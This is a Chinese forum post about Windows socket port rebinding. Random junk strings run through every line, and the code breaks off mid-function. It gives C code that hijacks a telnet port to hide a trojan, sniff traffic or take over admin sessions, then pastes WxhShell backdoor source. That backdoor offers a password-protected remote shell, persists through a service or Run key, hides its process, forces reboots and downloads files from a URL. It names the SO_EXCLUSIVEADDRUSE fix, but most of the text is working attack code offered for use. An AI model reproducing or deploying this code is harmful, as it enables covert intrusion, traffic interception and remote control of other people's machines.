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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Tjq1[Wq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )G Alj;9A$  
V7r_Ubg@K  
  saddr.sin_family = AF_INET; JJ%@m;~  
CbC [aVA=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _#NibW  
iC/*d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6lv@4R^u  
VsAJ2g9L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d&raHF*  
5RFro^S9E  
  这意味着什么?意味着可以进行如下的攻击: Q?1J<(oq9  
{59 >U~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4=/jh:h  
XsQ81j.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E;{RNf|  
m*A b<$y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HY FMf3  
e15yDwvB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \)rMC]  
jwa6`u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s_XCKhN:  
6?~9{0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B=L!WGl<!  
( _6j@?u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #}+H  
] xHiy+  
  #include A,~KrRd  
  #include nJ]7vj,rB  
  #include 4 ZnQpKg  
  #include    |1(x2x%}D^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |+W{c`KL  
  int main() -X!<$<\y;  
  { ;!A8A4~nu  
  WORD wVersionRequested; Z@Zg3AVU  
  DWORD ret; "aF2:E'  
  WSADATA wsaData; F |BY]{  
  BOOL val; Q=Mv"~2>B  
  SOCKADDR_IN saddr; `G1"&q,i  
  SOCKADDR_IN scaddr; 8wvHg_U6W  
  int err; o>C,Db~L/  
  SOCKET s; 2HmK['(  
  SOCKET sc; m~AAO{\:b  
  int caddsize; V [g^R*b  
  HANDLE mt; j8p<HE51  
  DWORD tid;   ;_c&J&I  
  wVersionRequested = MAKEWORD( 2, 2 ); =VzJ>!0  
  err = WSAStartup( wVersionRequested, &wsaData ); [0y,K{8t  
  if ( err != 0 ) { |ymW0gh7o$  
  printf("error!WSAStartup failed!\n"); r9WR1&T)  
  return -1; '`2'<^yO  
  } :_6o|9J\t  
  saddr.sin_family = AF_INET; ,"is%O.  
   PL{lYexJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?D _4KFr  
#%@bZ f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N=Ct3  
  saddr.sin_port = htons(23); %xCL&}bY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #$xtUCqX  
  { slPr^)  
  printf("error!socket failed!\n"); Gg9s.]W  
  return -1; PiM(QR  
  } i@nRZ$K  
  val = TRUE; iKE&yO3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zPp22  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N^$q;%  
  { #%k_V+o3  
  printf("error!setsockopt failed!\n"); W ,6q1  
  return -1; iv_3R}IbX  
  } "h_f- vP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f&4+-w.:V|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y EfAa6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @y7KP$t  
e:nByzdH0[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F t11?D B  
  { S/)),~`4  
  ret=GetLastError(); 9;v3 (U+:  
  printf("error!bind failed!\n"); #~nXAs]Q  
  return -1; pJ}U'*Z2  
  } l+F29_o#  
  listen(s,2); yZ,pH1  
  while(1) V'=;M[&  
  { %C,zR&]F  
  caddsize = sizeof(scaddr); J{dO0!7y  
  //接受连接请求 Yc]k<tQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9 nc_$H{  
  if(sc!=INVALID_SOCKET) .:}<4;Qz94  
  { Yq00<kIDJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hzr, %r  
  if(mt==NULL) _]o7iqtv  
  { iXo; e  
  printf("Thread Creat Failed!\n"); f|B\Y/*X  
  break; Xydx87L/-e  
  } /!5ohQlPJ  
  } PWl;pBo  
  CloseHandle(mt); KBtqtE'(L  
  } ]^>Inh!  
  closesocket(s); #BP0MY&  
  WSACleanup(); {U_ ,y(V  
  return 0; 7QTS@o-  
  }   6AJ`)8HX  
  DWORD WINAPI ClientThread(LPVOID lpParam) mz.,j(Ks-  
  { m<3. X"-  
  SOCKET ss = (SOCKET)lpParam; P_0X+Tz  
  SOCKET sc; Y QC.jnb2  
  unsigned char buf[4096]; w:%NEa,Z  
  SOCKADDR_IN saddr; 59D '*!l-  
  long num; !Z2h ?..O  
  DWORD val; A4@z+ebb l  
  DWORD ret; zqdkt `  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ty['yV-;a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h SS9mQ  
  saddr.sin_family = AF_INET; =<HekiYM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G`%rnu  
  saddr.sin_port = htons(23); <tbs,lcw;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Zn[l,\  
  { uo]\L^j   
  printf("error!socket failed!\n"); IrCl\HQN  
  return -1; =@4 ,szLO  
  } _@XueNU1hS  
  val = 100; )?SFIQ=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]@z!r2[  
  { &77J,\C$:  
  ret = GetLastError(); w,j!%N  
  return -1; n^;-&  
  } {ObY1Y`ea  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h/\ Zq  
  { OXM=@B<"  
  ret = GetLastError(); S;Sy.Lp  
  return -1; s-Gd{=%/q  
  } ;q9Y%*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {= &&J@:  
  { n Yx[9HN  
  printf("error!socket connect failed!\n"); `Z>=5:+G@2  
  closesocket(sc); F%y#)53g  
  closesocket(ss); 81|[Y'f  
  return -1; &&<l}E  
  } B^TgEr  
  while(1) I/St=-;  
  { C<a&]dN/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &?QKWxN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IxWi>8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Gq1C"s$4'  
  num = recv(ss,buf,4096,0); 'j'6x'[> ]  
  if(num>0) THOYx :Nr;  
  send(sc,buf,num,0); \Kui`X  
  else if(num==0) V_$<^z|  
  break; *^[6uaa  
  num = recv(sc,buf,4096,0); Xmmj.ZUr  
  if(num>0) x4kQGe(  
  send(ss,buf,num,0); [g"nu0sOK  
  else if(num==0) NKFeND  
  break; <Af&Q0J  
  } #s\yO~F-  
  closesocket(ss); `dX0F=Ag?  
  closesocket(sc); 6rE8P#  
  return 0 ; TW 1`{SM  
  } 4s|qxCks  
\anOOn@  
{Q$8p2W  
========================================================== M<l<n$rYS  
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下边附上一个代码,,WXhSHELL ]:F !h2  
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========================================================== DS4y@,/)'  
bydI+pVMo  
#include "stdafx.h" Q1kM 4Up  
e9'0CH<  
#include <stdio.h> DQu)?Rsk  
#include <string.h> s^PsA9EAn  
#include <windows.h> x76;wQ  
#include <winsock2.h> tIV9Y=ckr0  
#include <winsvc.h> R!"`Po  
#include <urlmon.h> I+Yq",{%  
N?rE:0SJ  
#pragma comment (lib, "Ws2_32.lib") Y#9bM $x7  
#pragma comment (lib, "urlmon.lib") mDA+ .l&)b  
^ux'-/  
#define MAX_USER   100 // 最大客户端连接数 L"1AC&~ u  
#define BUF_SOCK   200 // sock buffer =`(W^&|  
#define KEY_BUFF   255 // 输入 buffer "u sPzp5  
>u0XV"g$  
#define REBOOT     0   // 重启 4yTgH0(T  
#define SHUTDOWN   1   // 关机 R9-mq; u+  
p {. 6  
#define DEF_PORT   5000 // 监听端口 PL31(!`@d  
N8x&<H  
#define REG_LEN     16   // 注册表键长度 .P5' \  
#define SVC_LEN     80   // NT服务名长度 MR4k#{:w  
Y>c+j  
// 从dll定义API ~S~+'V,d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @v&P;=lU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ryz NM3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iSOyp\E|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _XT;   
_'y`hKeI[  
// wxhshell配置信息 ^"iL|3d  
struct WSCFG { A[fTpS~~%  
  int ws_port;         // 监听端口 hDg"?{  
  char ws_passstr[REG_LEN]; // 口令 Fku<|1}&y  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7NOF^/nU  
  char ws_regname[REG_LEN]; // 注册表键名 /i_FA]Go  
  char ws_svcname[REG_LEN]; // 服务名 <7Yh<(R e^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9RS viIi$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EcytNYn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I%Z=O=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t5 ^hZZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i& \ >/ 1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "85)2*+  
e1V1Ae  
}; qOQ8a:]?  
H;AMRL o4z  
// default Wxhshell configuration ]d{lS&PRlg  
struct WSCFG wscfg={DEF_PORT, Wzff p}V  
    "xuhuanlingzhe", "Il) _Ui  
    1, LtUw  
    "Wxhshell", q!><:"#[G  
    "Wxhshell", 5mL4Zq"  
            "WxhShell Service", *(wxNsK  
    "Wrsky Windows CmdShell Service", [\fwnS_1  
    "Please Input Your Password: ", E}0g  
  1, g%ys|  
  "http://www.wrsky.com/wxhshell.exe", lc [)Ev  
  "Wxhshell.exe" %ib7)8Ki0  
    }; 'vq0Tw5  
x{G 'IEf  
// 消息定义模块 f4 +P2j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XXwo(trs~=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {{pN7Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y= 8SD7P'  
char *msg_ws_ext="\n\rExit."; `d/* sX?k  
char *msg_ws_end="\n\rQuit."; (6 }7z+  
char *msg_ws_boot="\n\rReboot..."; :1"k`AG  
char *msg_ws_poff="\n\rShutdown..."; e:N;Jx#  
char *msg_ws_down="\n\rSave to "; \j.l1O  
5w~J"P6jg  
char *msg_ws_err="\n\rErr!"; c;a<nTLn  
char *msg_ws_ok="\n\rOK!"; V4n;N  
~(Q#G" t  
char ExeFile[MAX_PATH]; d mTZEO  
int nUser = 0; <wd;W;B  
HANDLE handles[MAX_USER]; ?} E M,  
int OsIsNt; %SCt_9u  
#Lk~{  
SERVICE_STATUS       serviceStatus; x.Ny@l%]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8NNs_~+x}  
;Vf{3  
// 函数声明 5vS[{;<&  
int Install(void); tU!Yg"4Q  
int Uninstall(void); fb[lL7  
int DownloadFile(char *sURL, SOCKET wsh); Zrgv*  
int Boot(int flag); +.rOqkxJ  
void HideProc(void); k3Puq1H  
int GetOsVer(void); @li/Y6Wh  
int Wxhshell(SOCKET wsl); R7h3O0@!  
void TalkWithClient(void *cs); /74h+.amg  
int CmdShell(SOCKET sock); ru1^. (W2  
int StartFromService(void); u35"oLV6}#  
int StartWxhshell(LPSTR lpCmdLine); Dwr"-  
OP=-fX|*Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i ;Kax4k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '9Q#%E!*  
rmWs o b  
// 数据结构和表定义 CQ{{J{pU"  
SERVICE_TABLE_ENTRY DispatchTable[] = Vvfd?G"  
{ zyP/'X_~:  
{wscfg.ws_svcname, NTServiceMain}, 7.)_H   
{NULL, NULL} 7j#Ix$Ur  
}; bkpN`+c  
<{YzmN\Z  
// 自我安装 23'{{@30  
int Install(void) FKhgUnw  
{ @FF{lK?[  
  char svExeFile[MAX_PATH]; ofI,[z3  
  HKEY key; sint":1FC  
  strcpy(svExeFile,ExeFile); 'w<^4/L Q  
!HhF*Rlr  
// 如果是win9x系统,修改注册表设为自启动 s%~Nx3,  
if(!OsIsNt) { 0~[M[T\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'V <ZmJ2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~*^o[~x]\  
  RegCloseKey(key); c@nh>G:y{&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %uiCC>cC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6p3cMJ'8y  
  RegCloseKey(key); XW^Pz (  
  return 0; _[l&{,  
    } Z>X]'q03  
  } ]F;1l3I-  
} \F+".X#jh  
else { Ul 85-p  
LN5q_ZvR  
// 如果是NT以上系统,安装为系统服务 ~6QV?j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J*:_3Wsy  
if (schSCManager!=0) 497l2}0  
{ qwn EVjf  
  SC_HANDLE schService = CreateService pu ?CO A  
  ( [T/S/@IT  
  schSCManager, 0=40}n&`  
  wscfg.ws_svcname, pbwOma2  
  wscfg.ws_svcdisp, E7w^A  
  SERVICE_ALL_ACCESS, tuY= )?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9JILK9mVO  
  SERVICE_AUTO_START, C}L2'l,  
  SERVICE_ERROR_NORMAL, *&+zI$u(  
  svExeFile, W(-son~I  
  NULL, e(&u3 #7Nn  
  NULL, )Q}Q -Zt  
  NULL, R,OT\FQ<  
  NULL, \TDn q!)?  
  NULL uG YH4  
  ); wM-H5\9n  
  if (schService!=0) ?zVE7;r4U  
  { D)S_ p&  
  CloseServiceHandle(schService); 1r*@1y<0"  
  CloseServiceHandle(schSCManager); _t4(H))]vG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5 5Mtjqfp  
  strcat(svExeFile,wscfg.ws_svcname); o>&pj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IEkbVIA(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); INCD5dihJ  
  RegCloseKey(key); Mdp'u$^!  
  return 0; ~u[1Vz4#3  
    } j|p=JrCJ  
  } f%[xl6VE;  
  CloseServiceHandle(schSCManager); ^ 6Yt2Bhs  
} ]xJ. OUJy  
} /,$V/q+  
\DD4=XGA  
return 1; :gRVa=}=  
} N\?__WlBK7  
g~9b_PY9  
// 自我卸载 $d.Dk4.ed  
int Uninstall(void) >-w# &T &K  
{ H_1&>@ 3  
  HKEY key; &Rz-;66bN  
K&"X7fQ  
if(!OsIsNt) { OW!y7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T5:xia>8O  
  RegDeleteValue(key,wscfg.ws_regname); 7pnlS*E.  
  RegCloseKey(key); I@#IXH?6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,WW=,P  
  RegDeleteValue(key,wscfg.ws_regname); Z,~@_;F  
  RegCloseKey(key); rx<P#y]3)  
  return 0; =fB"T+  
  } K;w]sN+I  
} P /q] u  
} g$/7km{TP  
else { "%_T7 A ![  
<w?k<%( 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2l:cP2fa  
if (schSCManager!=0) 6UqDpL7^U  
{ cveQ6 -`K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *Aug7 HlS  
  if (schService!=0) :}gEt?TUhs  
  { ZcTjOy?  
  if(DeleteService(schService)!=0) { Ahr  
  CloseServiceHandle(schService); |fgh ryI,  
  CloseServiceHandle(schSCManager); #hXvGon$?  
  return 0; +u&3pK>f  
  } t/3qD7L  
  CloseServiceHandle(schService); 0&tr3!h\  
  } -<" ;|v4  
  CloseServiceHandle(schSCManager); {/48n83n  
} ,*m|Lt%;R  
} 'S&Zq:  
{*  w _*  
return 1; ETdN<}m  
} %8YUK/(|n  
'0I>  
// 从指定url下载文件 um( xZ6&m  
int DownloadFile(char *sURL, SOCKET wsh) Q `-Xx  
{ :C={Z}t/F  
  HRESULT hr; B9c gVTLj  
char seps[]= "/"; {yd(n_PqY  
char *token; qc' ;<  
char *file; HTm`_}G9  
char myURL[MAX_PATH]; >8$Lqj^i  
char myFILE[MAX_PATH]; ::cI4D  
L{&Yh|}  
strcpy(myURL,sURL); >>8{N)c5E  
  token=strtok(myURL,seps); ?<Mx*l  
  while(token!=NULL) nm %7e!{m  
  { ?_T[]I'  
    file=token; g+?2@L$L  
  token=strtok(NULL,seps); j;-2)ZLm  
  } ]U }B~Y  
KUHkjA_  
GetCurrentDirectory(MAX_PATH,myFILE); Dg}EI^ d  
strcat(myFILE, "\\"); $IdU  
strcat(myFILE, file); eIhfhz?Q;#  
  send(wsh,myFILE,strlen(myFILE),0); 3'SN0VL  
send(wsh,"...",3,0); ,TYFPulYcp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qT#NS&T!-  
  if(hr==S_OK) MfdkvJ'  
return 0; K@:t6  
else ]xbMMax  
return 1; pP#|: %  
~|LAe-e"  
} Eb5BJ-XeS^  
l=#b7rBP  
// 系统电源模块 /2tP d  
int Boot(int flag) J?hs\nA  
{ -q&,7'V  
  HANDLE hToken; ,F "P/`i'  
  TOKEN_PRIVILEGES tkp; ni<\ AF]`  
8u1?\SYnb  
  if(OsIsNt) { <vxTfE@>bp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }2Y`Lr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (''w$qq"D  
    tkp.PrivilegeCount = 1; 7=qvu&{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9j5-/   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3[ xHY@c  
if(flag==REBOOT) { - "{hP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J\ J3 'u  
  return 0; u0qTP]  
} ]8 <`&~a  
else { ZQ-6n1O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x<.(fRv   
  return 0; ^}J,;Zhu5  
} .;(a;f+{;  
  } 19%zcYTe  
  else { C3 BoH&  
if(flag==REBOOT) { {j4&'=C:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JcfGe4  
  return 0; ZzP&Zrm  
} oqg +<m  
else { ,v?FR }v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d\8j!F^=  
  return 0; K%u>'W  
} v`p@djM  
} +Z]}ce u"  
DUg[L  
return 1; #wkSru&LS  
} ZQ'|B  
hb9HVj  
// win9x进程隐藏模块 0vMKyT3 c  
void HideProc(void) vTL/% SJ8  
{ NW&2ca  
as!P`*@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Tz0XBH_  
  if ( hKernel != NULL ) su\`E&0V+  
  { (.5Ft^3W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <vb7X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uWP0(6 %  
    FreeLibrary(hKernel); aNwx~t]G  
  } UXw I?2L  
[<d_#(]h'  
return; +G,_|C2J  
} a :cfr*IsK  
}?HWUAL\  
// 获取操作系统版本 A-rj: k!  
int GetOsVer(void) ,-DU)&dF  
{ !\'HKk~V  
  OSVERSIONINFO winfo; xl,6O!aR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5'<mfY'B  
  GetVersionEx(&winfo); lAGntYv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +x~p&,w?  
  return 1; 0oqOX  
  else vJsg6oH  
  return 0; 9hJ a K  
} ZkNet>9  
=-qYp0sVP  
// 客户端句柄模块 $if(n||  
int Wxhshell(SOCKET wsl) k?1e + \  
{ y'z9Ya  
  SOCKET wsh; _94R8?\_V7  
  struct sockaddr_in client; w$ ""])o,  
  DWORD myID; $4^h>x  
_lC0XDZ  
  while(nUser<MAX_USER) "{c@}~  
{ CioS}K  
  int nSize=sizeof(client); \6pQ&an  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L=WKqRa>4  
  if(wsh==INVALID_SOCKET) return 1; >X5RRSo  
Kk|)N3AV:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;*d?Qe:  
if(handles[nUser]==0) sLSH`Xy?5  
  closesocket(wsh); d ]#`?}  
else :b!&Xw$  
  nUser++; 9%m^^OOf  
  } :'[ha$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gJg+ ]-h/  
M'T[L%AP  
  return 0; NceK>:: 56  
} AKS. XW  
|:SIyXGbY  
// 关闭 socket Ix~rBD9  
void CloseIt(SOCKET wsh) mcs!A/]<  
{ m\_v{1g  
closesocket(wsh); ' t^ r2N/  
nUser--; Ri*mu*r\}  
ExitThread(0); Wq?vAnLbk  
} <oSx'_dc  
Jyp7+M]  
// 客户端请求句柄 p[;@9!t  
void TalkWithClient(void *cs) 8~O0P=  
{ B3I0H6O  
>LB*5  
  SOCKET wsh=(SOCKET)cs; z$Qy<_l  
  char pwd[SVC_LEN]; \3hFb,/4k  
  char cmd[KEY_BUFF]; r?pN-x$M=  
char chr[1]; Pjq()\/[Z  
int i,j; UMHFq-  
b=SCyGxlZ5  
  while (nUser < MAX_USER) { q 2;CvoF  
.k%/JF91n  
if(wscfg.ws_passstr) { 6LqF*$+$`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hr \vu`p$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :!FGvR6  
  //ZeroMemory(pwd,KEY_BUFF); @ *5+ZAF  
      i=0; i8#:y`ai  
  while(i<SVC_LEN) { n1b^o~agwC  
Ql,WKoj*  
  // 设置超时 h dqr~9  
  fd_set FdRead; db>"2EE  
  struct timeval TimeOut; S7@/d HN  
  FD_ZERO(&FdRead); R_vK^Da  
  FD_SET(wsh,&FdRead); oq,*@5xV2  
  TimeOut.tv_sec=8; &gI*[5v  
  TimeOut.tv_usec=0; vtc%MG1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ga pM~~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /!60oV4p0  
Q@*9|6-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (^]3l%Ed  
  pwd=chr[0]; /PG%Y]l0b  
  if(chr[0]==0xd || chr[0]==0xa) { ^KV:.up6  
  pwd=0; lXD=uRCI  
  break; .sb0|3&  
  } $F]*B `  
  i++; g'EPdE  
    } di<g"8  
+;bZ(_ohG  
  // 如果是非法用户,关闭 socket 7 4hRG~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6t'.4SR  
} -67!u;  
3@1$y`SN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X<f4X"y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ty*+?#`  
n} ]gAX  
while(1) { t$lJgj(  
m]}EVa_I`/  
  ZeroMemory(cmd,KEY_BUFF); pezfB{x?  
{J/+KK  
      // 自动支持客户端 telnet标准   7'ws: #pC  
  j=0; OUN"'p%%  
  while(j<KEY_BUFF) { yvnvIy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !P6?nS  
  cmd[j]=chr[0]; ;Q[E>j?w=  
  if(chr[0]==0xa || chr[0]==0xd) { q3|SZoN  
  cmd[j]=0; Qz$Wp*  
  break;  TZdJq  
  } !yz3:Yzu  
  j++; ?iL-2I3*  
    } 0;%\L:,O  
; NO#/  
  // 下载文件 H)rJ >L  
  if(strstr(cmd,"http://")) { :]LW,Eql  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ojVN -*5  
  if(DownloadFile(cmd,wsh)) ;)ERxMun  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sGa "  
  else Vq^b_^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yP34h*0B  
  } v7@ *dg  
  else { ciW;sK8  
d-gcXaA-8  
    switch(cmd[0]) { SUL\|z`5  
  oq (W|  
  // 帮助 nd5.Py$  
  case '?': { 2\F'So  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sBNqg~HwB?  
    break; q } (f9  
  } 8A 'SMJi  
  // 安装 8sq0 BH  
  case 'i': { upq3)t_  
    if(Install()) T`c:16I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 v da"  
    else aLwEz}-   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J?jxD/9Yb  
    break; Iomx"y]9  
    } oMNBK/X_  
  // 卸载 F'ez{ B\AX  
  case 'r': { gUiZv8C  
    if(Uninstall()) DP!8c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@rBrKC  
    else Ki /j\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D<[kbt 5^7  
    break; 2N.!#~_2D  
    } V0_^==Vs  
  // 显示 wxhshell 所在路径 d^"|ESQEU  
  case 'p': { NYR:dH]N~d  
    char svExeFile[MAX_PATH]; d-I=xpB  
    strcpy(svExeFile,"\n\r"); kAW2vh  
      strcat(svExeFile,ExeFile); r]S"i$  
        send(wsh,svExeFile,strlen(svExeFile),0); .EjjCE/v-  
    break; DH.CAV  
    } %V(U]sbV  
  // 重启 8C I\NR{x8  
  case 'b': { :aD_>,n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V)I Tk \  
    if(Boot(REBOOT)) <co:z<^lqu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *QoQ$alHH  
    else { ~Yre(8+M  
    closesocket(wsh); \3x+Z!  
    ExitThread(0); cxIAI=JK  
    } z\K-KD{Ad  
    break; K)eyFc  
    } .AF\[IQ  
  // 关机 k~JTQh*,w  
  case 'd': { .8wF> 8  
